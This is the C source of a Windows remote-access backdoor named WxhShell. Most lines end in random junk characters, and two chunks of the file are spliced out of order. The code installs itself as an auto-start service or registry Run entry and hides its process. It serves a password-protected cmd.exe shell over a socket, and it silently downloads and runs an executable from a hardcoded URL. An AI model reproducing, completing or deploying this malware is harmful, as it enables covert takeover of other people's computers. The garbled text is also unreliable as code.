    if(Boot(SHUTDOWN)) q-t%spkl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eSoX|2g  
    else { _j+,'\B  
    closesocket(wsh); b#I,Z+0ry  
    ExitThread(0); '\{ OQ H  
    } HVvm3qu4  
    break; <uIPv Zsx  
    } v Z10Rb8  
  // 获取shell Fe[6Y<x+:  
  case 's': { @Xoh@:j\  
    CmdShell(wsh); ~jw:4sG  
    closesocket(wsh); No\#N/1@P  
    ExitThread(0); (&m1*  
    break; )%jS9e{d  
  } q[/g3D\G  
  // 退出 _dd_Z40R  
  case 'x': { KdR\a&[MA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O#igH  
    CloseIt(wsh); 26~rEOgJ  
    break; ;s3@(OnjZ  
    } Rb<| <D+  
  // 离开 d '2JMdbc  
  case 'q': { :C;fEJN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =x w:@(]{  
    closesocket(wsh); ;2h"YU-b  
    WSACleanup(); cV:Q(|QC  
    exit(1); +PYR  
    break; fXevr `  
        } h`fZ 8|yw  
  } "Io-%S u+  
  } NTJ,U2  
S ?t `/"O  
  // 提示信息 vasw@Uto)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); toF6 Z  
} 'NWvQR<X  
  } BfCib]V9C  
=SJ[)|  
  return; |QzJHP @  
} ' Sd&I:?  
h%:wIkZ/  
// shell模块句柄 a:|]F|  
int CmdShell(SOCKET sock) b c .Vy  
{ Q3lVx5G>4  
STARTUPINFO si; Iy5W/QK6  
ZeroMemory(&si,sizeof(si)); ~i^,Z&X:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D vEII'-h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wm8BhO  
PROCESS_INFORMATION ProcessInfo; 3s BWtz  
char cmdline[]="cmd"; q&ed4{H<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <\:*cET3  
  return 0; ve#[LBOC8  
} nb5%a   
rGH7S!\AM  
// 自身启动模式 3I?yRE  
int StartFromService(void) !4F@ !.GG!  
{ Z[+Qf3j}o6  
typedef struct d{!zJ+n  
{ -GgV&%'a  
  DWORD ExitStatus; oi3Ix7  
  DWORD PebBaseAddress; pfim*\'  
  DWORD AffinityMask; ?fs#K;w  
  DWORD BasePriority; #tPy0Q H  
  ULONG UniqueProcessId; kH=~2rwm  
  ULONG InheritedFromUniqueProcessId; YVHDk7s  
}   PROCESS_BASIC_INFORMATION; xT9+l1_  
r'}#usB(  
PROCNTQSIP NtQueryInformationProcess; \@2sI  
,38bT#p:,r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /9y'UKl7[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !x:w2  
RAyR&p  
  HANDLE             hProcess; Y!E| X 3  
  PROCESS_BASIC_INFORMATION pbi; 1?+)T%"  
Z?",+|4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); If9!S} wa  
  if(NULL == hInst ) return 0; y(#F&^|  
hYCyc -W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GLl@ 6S>v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZG)C#I1;O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jf2:[ Mq  
N_!Zn"J  
  if (!NtQueryInformationProcess) return 0; of<>M4/g4y  
L3Q1az!Ct  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q!%CU8!`&  
  if(!hProcess) return 0; I(WND/&  
$PbN=@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y@'1}=`J  
"ZVBn!  
  CloseHandle(hProcess); 8<^6<c  
^_ZQf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :kI x?cc  
if(hProcess==NULL) return 0; X'bp?m  
}Lwj~{  
HMODULE hMod; **YNR:#Y  
char procName[255]; RZE:WE;5  
unsigned long cbNeeded; PZA;10z  
@p2dXJeR<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =09j1:''<d  
*DoEDw  
  CloseHandle(hProcess); ~h[lu^ZSi  
G@Zi3 5  
if(strstr(procName,"services")) return 1; // 以服务启动 S+OI?QS  
J>Rt2K  
  return 0; // 注册表启动 8CSvg{B  
} !c`Q?aGV)  
TAJ9Y<  
// 主模块 Y=rW.yK8  
int StartWxhshell(LPSTR lpCmdLine) Js#c9l{{  
{ `TsfscN  
  SOCKET wsl; l1_X5DI  
BOOL val=TRUE; m~NWY$oI9[  
  int port=0; Xhkw<XbV  
  struct sockaddr_in door; &akMj@4;R  
s9:2aLZ {  
  if(wscfg.ws_autoins) Install(); f&cG;Y  
3yD5u  
port=atoi(lpCmdLine); |-aj$u%~  
1aMBCh<}JN  
if(port<=0) port=wscfg.ws_port; |QgXSe7  
TuCOoz@d  
  WSADATA data; R;V(D3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5BCaE)J  
'Jl.fN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~ pdf'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mg,f>(  
  door.sin_family = AF_INET; .y2<2eW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }>XSp)"{l  
  door.sin_port = htons(port); (&hX8  
qK1V!a2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (1} Ndo^;w  
closesocket(wsl); m<f{7]fi5  
return 1; d<b,LD^  
} FW.dHvNX  
22r01qH  
  if(listen(wsl,2) == INVALID_SOCKET) { O}f(h5!k  
closesocket(wsl); @ Q1jH~t  
return 1; jh0$:6 `C  
} +@qk=]3a  
  Wxhshell(wsl); ]D-48o0  
  WSACleanup(); XP;&iZJ  
#"yf^*wX  
return 0; M2EN(Y_k0  
?Ru`ma\;  
} ^{K8uN7  
aQmL=9  
// 以NT服务方式启动 d=KOV;~);  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *nW9)T  
{ cnPX vD^kY  
DWORD   status = 0; (MIw$)#^  
  DWORD   specificError = 0xfffffff; xR&,QrjQG  
dS&8R1\>1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B:r-')!0$#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "=n8PNV/ c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;Gs**BB&  
  serviceStatus.dwWin32ExitCode     = 0; C;) xjZiR  
  serviceStatus.dwServiceSpecificExitCode = 0; _~(Xd@c(  
  serviceStatus.dwCheckPoint       = 0; :{ T#M$T  
  serviceStatus.dwWaitHint       = 0; pNJM]-D]m~  
.- Lqo=o\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n1/lE)  
  if (hServiceStatusHandle==0) return; Wkk Nyg,  
1;gSf.naG  
status = GetLastError(); &"h!SkX/  
  if (status!=NO_ERROR) ,< icW &a  
{ uWInx6p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QPcB_wUqu  
    serviceStatus.dwCheckPoint       = 0; >oNk(. %  
    serviceStatus.dwWaitHint       = 0; )IhY&?jk?  
    serviceStatus.dwWin32ExitCode     = status; GDB>!ukg  
    serviceStatus.dwServiceSpecificExitCode = specificError; QMxz@HGa|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); piFQ7B  
    return; %Nn'p"  
  } !m|%4/ M@  
e`Yns$x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8)!;[G|  
  serviceStatus.dwCheckPoint       = 0; ,7g;r_qwA  
  serviceStatus.dwWaitHint       = 0; U.F65KaKF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PK4UdT  
} NGY I%:  
qi2dTB  
// 处理NT服务事件,比如:启动、停止 r*wKYb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F]*-i 55S  
{ 7&)F;;H  
switch(fdwControl) k9xKaJ %1  
{ cj<@~[uw  
case SERVICE_CONTROL_STOP: gAY2|/,  
  serviceStatus.dwWin32ExitCode = 0; `@D4?8_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !gf3%!%  
  serviceStatus.dwCheckPoint   = 0; UVJ(iNK"  
  serviceStatus.dwWaitHint     = 0; VC(|t} L4  
  { sEN@q   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0cUt"(]  
  } ~m?~eJK#a  
  return; K-u/q6ufK  
case SERVICE_CONTROL_PAUSE: j2Y(Q/i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;#i$0~lRl  
  break; @GtZK  
case SERVICE_CONTROL_CONTINUE: kwR@oVR^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vNSf:5H$  
  break; TMCA?r%Y\  
case SERVICE_CONTROL_INTERROGATE: w0Y%}7  
  break; wS0bk<(  
}; ?&m]du#6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Agg6tY r  
}  vB*oI~<  
8!6*|!,:?n  
// 标准应用程序主函数 hob$eWgr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n5/Tn7hY  
{ ?|GxVOl  
Dg+d=I?  
// 获取操作系统版本 J"%}t\Q  
OsIsNt=GetOsVer(); T_[\(K`w!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oLMi vy4  
CWQ2iu<_0  
  // 从命令行安装 I7^X;Q F  
  if(strpbrk(lpCmdLine,"iI")) Install(); k& s7 -yY  
Fd&!-` T?  
  // 下载执行文件 PZJ 4: h  
if(wscfg.ws_downexe) { S\;.nAR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )"uG*}\?b  
  WinExec(wscfg.ws_filenam,SW_HIDE); <,4(3 >js  
} a[g|APZz  
CZRo{2!?U  
if(!OsIsNt) { \Egc5{   
// 如果时win9x,隐藏进程并且设置为注册表启动 ( v:ek_  
HideProc(); i%4k5[f.:  
StartWxhshell(lpCmdLine); +|YZEC  
} HbfB[%  
else a BH1J]_  
  if(StartFromService()) S{T d/1}  
  // 以服务方式启动 jY+S,lD  
  StartServiceCtrlDispatcher(DispatchTable); ,GU/l)os`  
else ,D2_Z]  
  // 普通方式启动 gCr|e}w-  
  StartWxhshell(lpCmdLine); L_K\i?  
lY*]&8/=  
return 0; O:tX0<6  
} rOb"S*  
:yjK*"T|OD  
ZCFf@2&z8  
eSNSnh]'  
=========================================== xcvr D  
E0^%|Mh]b  
"IS^a jaq  
jZT :-w  
&MZy;Sq  
lN>C#e<]  
" M03i4R@h(  
)NmlV99q  
#include <stdio.h> Wo+CQH6(  
#include <string.h> S/<"RfVU#o  
#include <windows.h> DbU;jorwu  
#include <winsock2.h> [RPAkp  
#include <winsvc.h> UW[{d/.wC  
#include <urlmon.h> 0/@ X!|X  
xTFrrmxOf  
#pragma comment (lib, "Ws2_32.lib") 6.h   
#pragma comment (lib, "urlmon.lib") 7Ljj#!`lUp  
=/JF-#n/MA  
#define MAX_USER   100 // 最大客户端连接数 6y,P4O*q  
#define BUF_SOCK   200 // sock buffer _s^:zPl  
#define KEY_BUFF   255 // 输入 buffer  L|lmStwe  
! M&un*  
#define REBOOT     0   // 重启 Wo9psv7.  
#define SHUTDOWN   1   // 关机 Dnm.!L8  
fCf#zV[  
#define DEF_PORT   5000 // 监听端口 K}E7|gdG  
W#jZRviyq!  
#define REG_LEN     16   // 注册表键长度 tWSvxGCzn%  
#define SVC_LEN     80   // NT服务名长度 R=9~*9  
A9l})_~i  
// 从dll定义API {_XrZ(y/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o;4e)tK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~@uY?jr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TF0-?vBWh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $W {yK+N  
,mjfZ*N  
// wxhshell配置信息 gr`Ar;  
struct WSCFG { [}ZPg3Y  
  int ws_port;         // 监听端口 G</I%qM  
  char ws_passstr[REG_LEN]; // 口令 v V6Lp  
  int ws_autoins;       // 安装标记, 1=yes 0=no SAG` ^t  
  char ws_regname[REG_LEN]; // 注册表键名 K+@eH#Cv,(  
  char ws_svcname[REG_LEN]; // 服务名 ]8m_*I!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YP#AB]2\}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O(D5A?tv!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A?IZ( Zx(`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B(\r+"PB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H8-D'q>R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *M&VqG4P9w  
:x""E5H  
}; x #tu  
V(2j*2R!  
// default Wxhshell configuration p37zz4  
struct WSCFG wscfg={DEF_PORT, RHx+HBZ  
    "xuhuanlingzhe", ~i }+P71  
    1, }xf='lE  
    "Wxhshell", nRXSW&V"m  
    "Wxhshell", kUg+I_j6*  
            "WxhShell Service", UGmuX:@y76  
    "Wrsky Windows CmdShell Service", :qAc= IC%  
    "Please Input Your Password: ", =l8!VJa  
  1, 833 %H`jQc  
  "http://www.wrsky.com/wxhshell.exe", yD[zzEuQ  
  "Wxhshell.exe" fEj9R@u+h  
    }; g>!:U6K  
2&gd"Ak(  
// 消息定义模块 d2A wvP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;;YcuzQI3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oF;%^XFp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NDRW  
char *msg_ws_ext="\n\rExit."; XatA8(_,5  
char *msg_ws_end="\n\rQuit."; Cgz&@@j,]  
char *msg_ws_boot="\n\rReboot..."; Z\|u9DO  
char *msg_ws_poff="\n\rShutdown..."; h eE'S/  
char *msg_ws_down="\n\rSave to "; WjY{rM,K  
vr{'FMc  
char *msg_ws_err="\n\rErr!"; jB%"AvIX  
char *msg_ws_ok="\n\rOK!"; $AA~]'O>6:  
my\o P(e\  
char ExeFile[MAX_PATH]; :T7?  
int nUser = 0; H ~[LJ5x  
HANDLE handles[MAX_USER]; `!nJS|  
int OsIsNt; 9U|<q  
y8w0eq94  
SERVICE_STATUS       serviceStatus; msc 1^2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OB?SkR  
kRN|TDx(  
// 函数声明 : F7k{~  
int Install(void); NV} RRs  
int Uninstall(void); =de<WoKnu2  
int DownloadFile(char *sURL, SOCKET wsh); rb:<N%*t  
int Boot(int flag); 1KTabj/C  
void HideProc(void); |jahpji6  
int GetOsVer(void); !Tn0M;  
int Wxhshell(SOCKET wsl); qnq%mwDeD  
void TalkWithClient(void *cs); y@o9~?M  
int CmdShell(SOCKET sock); QFW0KD`5  
int StartFromService(void); w0Fwd  
int StartWxhshell(LPSTR lpCmdLine); x?,~TC4  
G&x'=dJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p-5P as  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9W1;Kb|Z<  
G;(onJz  
// 数据结构和表定义 y$IaXr5L  
SERVICE_TABLE_ENTRY DispatchTable[] = (O8,zqP9l  
{ L!;^ #g  
{wscfg.ws_svcname, NTServiceMain}, 6P;o 6s  
{NULL, NULL} 45x,|h[F{5  
}; SkiJ pMN  
7fTxGm  
// 自我安装 1@A7h$1P  
int Install(void) -|m$YrzG  
{ #_.g2 Y  
  char svExeFile[MAX_PATH]; koOyZ>  
  HKEY key; jrm0@K+<IA  
  strcpy(svExeFile,ExeFile); H<`^w)?  
uu}a:qrY  
// 如果是win9x系统,修改注册表设为自启动 1P_Fe[8  
if(!OsIsNt) {  5ZnSA9?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y 3o^Euou  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +w "XNl  
  RegCloseKey(key); =m`l%V[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EfKM*;A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f%2%T'Q  
  RegCloseKey(key); hzaLx8L  
  return 0; :3*`IB !  
    } )fNGB]%  
  } q}>M& *  
} 3YR* ^  
else { RK?jtb=&A  
xN6?yr  
// 如果是NT以上系统,安装为系统服务 It%T7 X#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o;3j:# 3 |  
if (schSCManager!=0) -NAmu97V}  
{ ;K3d' U  
  SC_HANDLE schService = CreateService }%eDEM  
  ( 5pO]vBT  
  schSCManager, hzaU8kb  
  wscfg.ws_svcname, %VzYqj_P"  
  wscfg.ws_svcdisp, y k?SD1hj  
  SERVICE_ALL_ACCESS, j7f5|^/x3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ll,I-BQ 9  
  SERVICE_AUTO_START, mHKJ  
  SERVICE_ERROR_NORMAL, t-_#Q bzE{  
  svExeFile, Y|mW.  
  NULL, 1{^CfamF  
  NULL, [!W5}=^H  
  NULL, y'^F,WTM  
  NULL, neF8V"-u&  
  NULL LyIKP$t  
  ); -:MmSeG7gO  
  if (schService!=0) $u:<x  
  { $nj\\,(g  
  CloseServiceHandle(schService); 5i6VZv  
  CloseServiceHandle(schSCManager); UL&} s_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -(!uC +BZX  
  strcat(svExeFile,wscfg.ws_svcname); K k7GZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2zhn`m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^[#=L4  
  RegCloseKey(key); L/~D<V  
  return 0; mIvnz{_d  
    } mxgqS=`  
  } |7y6 pz  
  CloseServiceHandle(schSCManager); [~COYjp  
} +@e }mL\8  
}  012Lwd  
C#0brCQq3  
return 1; (i\)|c/a7  
} a~,Kz\Tt  
F'1k<V?  
// 自我卸载 n!ZMTcK8  
int Uninstall(void) mB~~_]M N  
{ =LOk13l\"  
  HKEY key; vHS2q >  
. @@an;C  
if(!OsIsNt) { $%Z3;:<Uf-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *#zS^b n  
  RegDeleteValue(key,wscfg.ws_regname); m~;B:LN<  
  RegCloseKey(key); CI^[I\$&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \0nlPXk?G  
  RegDeleteValue(key,wscfg.ws_regname); })P O7:  
  RegCloseKey(key); >zQOK-  
  return 0; 88+ =F XG  
  } =5?.'XMk  
} `%Q&</X  
} 6AAswz'$P  
else { F_ 81l<  
U9 bWU'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UU[H@ym#  
if (schSCManager!=0) ?pqU3-knH  
{ cAb>2]M5V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w//omF'`  
  if (schService!=0) yPoSJzC=[  
  { gGEIK0\{  
  if(DeleteService(schService)!=0) { eeW`JG-E  
  CloseServiceHandle(schService); uaaf9SL?  
  CloseServiceHandle(schSCManager); ?_%u)S*g  
  return 0; @MOCug4  
  } B)M& \: _  
  CloseServiceHandle(schService); &pL/ @2+  
  } 6T_K9  
  CloseServiceHandle(schSCManager); 6Cv.5V hx  
} IB8gDP2  
} gqfDa cDJL  
6J\fF tB@V  
return 1; >La><.z~  
} q(Hip<6p  
O[FZq47  
// 从指定url下载文件 >I^9:Q  
int DownloadFile(char *sURL, SOCKET wsh) b# u8\H  
{ f!x[ln<  
  HRESULT hr; 5$%XvM  
char seps[]= "/"; doR4nRl9  
char *token; '#q4Bc1  
char *file; bY)#v?  
char myURL[MAX_PATH]; JRY_ nX  
char myFILE[MAX_PATH]; Zj!Abji=O  
Ys3uPs  
strcpy(myURL,sURL); 35_)3 R)  
  token=strtok(myURL,seps); e>AXXUEf  
  while(token!=NULL) |@wyC0k!  
  { @^&7$#jq%  
    file=token; mlB~V3M'G  
  token=strtok(NULL,seps); moZm0` WR  
  } ~8{sA5y  
_{)9b24(  
GetCurrentDirectory(MAX_PATH,myFILE); s$ z2 c  
strcat(myFILE, "\\"); T<yb#ak  
strcat(myFILE, file); KmmQ,e%  
  send(wsh,myFILE,strlen(myFILE),0); >g}G}=R~3  
send(wsh,"...",3,0); 6pp$-uS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S)7/0N79A  
  if(hr==S_OK) ix&'0IrX*  
return 0; lP3h<j  
else orqJ[!u)`  
return 1; y' [LNp V  
^~1<f1(  
} wd+K`I/v7h  
I 8z G~L%"  
// 系统电源模块 hqDqt"dKz  
int Boot(int flag) pO]8 dE0  
{ 2hq\n<  
  HANDLE hToken; #]Y*0Wzpfn  
  TOKEN_PRIVILEGES tkp; T$P-<s  
5JSrrpGr  
  if(OsIsNt) { x)oRSsv!Tr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :FHA]oec1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ej"u1F14J  
    tkp.PrivilegeCount = 1; B(,:haAr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ue\t,*KYd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |`0n"x7  
if(flag==REBOOT) { pW|u P8#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tTuX\;G  
  return 0; |]sx+NlNc  
} 8@eOTzm  
else { v"!4JZ%K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?fK1  
  return 0; BC77<R!E)  
} \Y5W!.(%w  
  } D*2\{W/  
  else { G5Ykbw#  
if(flag==REBOOT) { bRsTBp;R`I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OfZN|S+~W  
  return 0; -6C +LbV  
} *9 D!A  
else { N`$!p9r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q>s`uFRg(  
  return 0; ,:GN;sIXg  
} *y]+dK&-  
} LW:1/w&pv  
5-vo0:hk  
return 1; "pvH0"Q*  
} %l !xkCKA  
OZ(dpV9.S  
// win9x进程隐藏模块 kbI/4IRW  
void HideProc(void) NX,-;v  
{ $[ z y  
wT_h!W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a9Y5  
  if ( hKernel != NULL ) ^?GmrHC)  
  { y7lWeBnC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bw S*]!*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z&}-8JykH  
    FreeLibrary(hKernel); go'j/4Tp  
  } /'wF2UR  
:dnJY%/q  
return; T@ YGB]*Y  
} h{'t5&yY  
}NCL>l;q  
// 获取操作系统版本 -x*2t;%z{U  
int GetOsVer(void) +%0z`E\?M#  
{ bS!\#f%9"  
  OSVERSIONINFO winfo; vjUp *R>h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bGmx7qt#  
  GetVersionEx(&winfo); zm#nV Y`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *hY2.t; X  
  return 1; L%\b'fs  
  else 2A:,;~UH  
  return 0; wCKj7y[  
} uGVy6,  
Da1aI]{I  
// 客户端句柄模块 I'!/[\_  
int Wxhshell(SOCKET wsl) MaY682}|y  
{ k%81f'H  
  SOCKET wsh; '7 )"  
  struct sockaddr_in client; mUP.rb6  
  DWORD myID; `V!>J 1x  
:d,^I@]  
  while(nUser<MAX_USER) ajH"Jy3A  
{ N#z~  
  int nSize=sizeof(client); cP>o+-)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m$2<`C=  
  if(wsh==INVALID_SOCKET) return 1; q1{H~VSn"  
.*/Fucr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nk=$B (h  
if(handles[nUser]==0) \2e0|)aF6  
  closesocket(wsh);  zGlZ!t:  
else L}k/9F.5  
  nUser++; G}zZQy  
  } pdVQ*=c?M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3Ofc\  
qUJ aeQ  
  return 0; E-2 eOT  
} 5/0j}_pP  
|oFAGP1  
// 关闭 socket 2N [=  
void CloseIt(SOCKET wsh) CI7A# 6-  
{ aaW]J mRb  
closesocket(wsh); ~$,qgf  
nUser--; 4'>1HW  
ExitThread(0); _lxco=qd=%  
} j?i#L}.I  
S?0$?w?  
// 客户端请求句柄 l.=p8-/$'7  
void TalkWithClient(void *cs) 6g:|*w  
{ WcUJhi^\C  
!36]ud&  
  SOCKET wsh=(SOCKET)cs; \Y|*Nee}XP  
  char pwd[SVC_LEN]; P:xT0gtt  
  char cmd[KEY_BUFF]; hpbf&S4  
char chr[1]; &, a3@i  
int i,j; Fke//- R  
t0E51Ic@  
  while (nUser < MAX_USER) { 0\QR!*'$  
nms8@[4-  
if(wscfg.ws_passstr) { QG gF|c7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A;X=bj _&a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 45 >XKr.%  
  //ZeroMemory(pwd,KEY_BUFF); Sv[5NZn0&  
      i=0; &(pjqV  
  while(i<SVC_LEN) { Lxl_"k G  
I:j3sy  
  // 设置超时 ~mz%E  
  fd_set FdRead; @mQ:7-,~  
  struct timeval TimeOut; P ,mN >  
  FD_ZERO(&FdRead); %VNlXHO.  
  FD_SET(wsh,&FdRead); r7m D{0s*  
  TimeOut.tv_sec=8; ",qU,0  
  TimeOut.tv_usec=0; :D:DnVZ-[@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f>$``.O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wd,a?31|  
2tQ`/!m>v$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jf;?XP]z  
  pwd=chr[0]; }Fb!?['G5  
  if(chr[0]==0xd || chr[0]==0xa) { 4"?^UBr  
  pwd=0; SX0_v_%M  
  break; Q / x8 #X  
  } ~aK?cP  
  i++; qt e>r  
    } q OhO qV  
{p<Zbm.  
  // 如果是非法用户,关闭 socket ( )T[$.(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G=9d&N  
} a:STQk V  
|AZW9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2][DZl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &"Ux6mF-"  
:;]Oc  
while(1) { P\2M[Gu(Q  
#;KsJb)N.  
  ZeroMemory(cmd,KEY_BUFF); $14:(<  
vG41Ck1  
      // 自动支持客户端 telnet标准   ~+F;q vq  
  j=0; ?9+@+q  
  while(j<KEY_BUFF) { rJyCw+N0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >h~IfZU1  
  cmd[j]=chr[0]; je,}_:7  
  if(chr[0]==0xa || chr[0]==0xd) { = "ts`>  
  cmd[j]=0; +a@GHx 4-  
  break; %|W.^q  
  } l,|%7-  
  j++; a6xj\w  
    } k"UO c=   
l:B;zi`)oB  
  // 下载文件 1`0#HSO  
  if(strstr(cmd,"http://")) { #s-iy+/1oN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y-!YhWsS  
  if(DownloadFile(cmd,wsh)) [tT8_}v$LN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LaFZ?7@|}  
  else 22hSove.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V<Z'(UI  
  } El_Qk[X|A  
  else { 7j<e)"  
Dr3n+Q   
